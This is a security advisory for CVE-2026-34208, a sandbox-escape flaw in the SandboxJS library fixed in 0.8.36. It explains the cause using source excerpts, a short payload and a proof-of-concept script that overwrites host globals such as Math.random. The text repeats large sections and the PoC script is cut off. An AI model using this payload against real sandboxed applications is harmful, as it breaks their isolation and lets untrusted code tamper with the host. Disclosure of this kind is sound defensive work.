CVE-2026-34208

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, SandboxJS blocks direct assignment to global objects (for example Math.random = ...), but this protection can be bypassed through an exposed callable constructor path: this.constructor.call(target, attackerObject). Because this.constructor resolves to the internal SandboxGlobal function and Function.prototype.call is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process. This vulnerability is fixed in 0.8.36.

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, SandboxJS blocks direct assignment to global objects (for example Math.random = ...), but this protection can be bypassed through an exposed callable constructor path: this.constructor.call(target, attackerObject). Because this.constructor resolves to the internal SandboxGlobal function and Function.prototype.call is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process. This vulnerability is fixed in 0.8.36.

Summary

SandboxJS blocks direct assignment to global objects (for example Math.random = ...), but this protection can be bypassed through an exposed callable constructor path: this.constructor.call(target, attackerObject). Because this.constructor resolves to the internal SandboxGlobal function and Function.prototype.call is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process.

Details

The intended safety model relies on write-time checks in assignment operations. In assignCheck, writes are denied when the destination is marked global (obj.isGlobal), which correctly blocks straightforward payloads like Math.random = () => 1.

Reference: src/executor.ts#L215-L218

if (obj.isGlobal) {
  throw new SandboxAccessError(
    `Cannot ${op} property '${obj.prop.toString()}' of a global object`,
  );
}

The bypass works because the dangerous write is not performed by an assignment opcode. Instead, attacker code reaches a host callable that performs writes internally. The constructor used for sandbox global objects is SandboxGlobal, implemented as a function that copies all keys from a provided object into this.

Reference: src/utils.ts#L84-L88

export const SandboxGlobal = function SandboxGlobal(this: ISandboxGlobal, globals: IGlobals) {
  for (const i in globals) {
    this[i] = globals[i];
  }
} as any as SandboxGlobalConstructor;

At runtime, global scope this is a SandboxGlobal instance (functionThis), so this.constructor resolves to SandboxGlobal. That constructor is reachable from sandbox code, and calls through Function.prototype.call are allowed by the generic call opcode path.

References:

• src/utils.ts#L118-L126
• src/executor.ts#L493-L518

const sandboxGlobal = new SandboxGlobal(options.globals);
...
globalScope: new Scope(null, options.globals, sandboxGlobal),

const evl = context.evals.get(obj.context[obj.prop] as any);
let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals) as unknown);

This creates a privilege gap:

1. Direct global mutation is blocked in assignment logic.
2. A callable host function that performs arbitrary property writes is still reachable.
3. The call path does not enforce equivalent global-mutation restrictions.
4. Attacker-controlled code can choose the write target (Math, JSON, etc.) via .call(target, payloadObject).

In practice, the payload:

const SG = this.constructor;
SG.call(Math, { random: () => 'pwned' });

overwrites host Math.random successfully. The mutation is visible immediately in host runtime and in fresh sandbox instances, proving cross-context persistence and sandbox boundary break.

PoC

Install dependency:

npm i @nyariv/[email protected]

Global write bypass with pwned marker

#!/usr/bin/env node
'use strict';

const Sandbox = require('@nyariv/sandboxjs').default;
const run = (code) => new Sandbox().compile(code)().run();
const original = Math.random;

try {
  try {
    run('Math.random = () => 1');
    console.log('Without bypass (direct assignment): unexpectedly succeeded');
  } catch (err) {
    console.log('Without bypass (direct assignment): blocked ->', err.message);
  }
  run(`this.constructor.call(Math, { random: () => 'pwned' })`);
  console.log('With bypass (host Math.random()):', Math.random());
  console.log('With bypass (fresh sandbox Math.random()):', run('return Math.random()'));…

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, SandboxJS blocks direct assignment to global objects (for example Math.random = ...), but this protection can be bypassed through an exposed callable constructor path: this.constructor.call(target, attackerObject). Because this.constructor resolves to the internal SandboxGlobal function and Function.prototype.call is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process. This vulnerability is fixed in 0.8.36.

Summary

SandboxJS blocks direct assignment to global objects (for example Math.random = ...), but this protection can be bypassed through an exposed callable constructor path: this.constructor.call(target, attackerObject). Because this.constructor resolves to the internal SandboxGlobal function and Function.prototype.call is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process.

Details

The intended safety model relies on write-time checks in assignment operations. In assignCheck, writes are denied when the destination is marked global (obj.isGlobal), which correctly blocks straightforward payloads like Math.random = () => 1.

Reference: src/executor.ts#L215-L218

if (obj.isGlobal) {
  throw new SandboxAccessError(
    `Cannot ${op} property '${obj.prop.toString()}' of a global object`,
  );
}

The bypass works because the dangerous write is not performed by an assignment opcode. Instead, attacker code reaches a host callable that performs writes internally. The constructor used for sandbox global objects is SandboxGlobal, implemented as a function that copies all keys from a provided object into this.

Reference: src/utils.ts#L84-L88

export const SandboxGlobal = function SandboxGlobal(this: ISandboxGlobal, globals: IGlobals) {
  for (const i in globals) {
    this[i] = globals[i];
  }
} as any as SandboxGlobalConstructor;

At runtime, global scope this is a SandboxGlobal instance (functionThis), so this.constructor resolves to SandboxGlobal. That constructor is reachable from sandbox code, and calls through Function.prototype.call are allowed by the generic call opcode path.

References:

• src/utils.ts#L118-L126
• src/executor.ts#L493-L518

const sandboxGlobal = new SandboxGlobal(options.globals);
...
globalScope: new Scope(null, options.globals, sandboxGlobal),

const evl = context.evals.get(obj.context[obj.prop] as any);
let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals) as unknown);

This creates a privilege gap:

1. Direct global mutation is blocked in assignment logic.
2. A callable host function that performs arbitrary property writes is still reachable.
3. The call path does not enforce equivalent global-mutation restrictions.
4. Attacker-controlled code can choose the write target (Math, JSON, etc.) via .call(target, payloadObject).

In practice, the payload:

const SG = this.constructor;
SG.call(Math, { random: () => 'pwned' });

overwrites host Math.random successfully. The mutation is visible immediately in host runtime and in fresh sandbox instances, proving cross-context persistence and sandbox boundary break.

PoC

Install dependency:

npm i @nyariv/[email protected]

Global write bypass with pwned marker

#!/usr/bin/env node
'use strict';

const Sandbox = require('@nyariv/sandboxjs').default;
const run = (code) => new Sandbox().compile(code)().run();
const original = Math.random;

try {
  try {
    run('Math.random = () => 1');
    console.log('Without bypass (direct assignment): unexpectedly succeeded');
  } catch (err) {
    console.log('Without bypass (direct assignment): blocked ->', err.message);
  }
  run(`this.constructor.call(Math, { random: () => 'pwned' })`);
  console.log('With bypass (host Math.random()):', Math.random());
  console.log('With bypass (fresh sandbox Math.random()):', run('return Math.random()'));…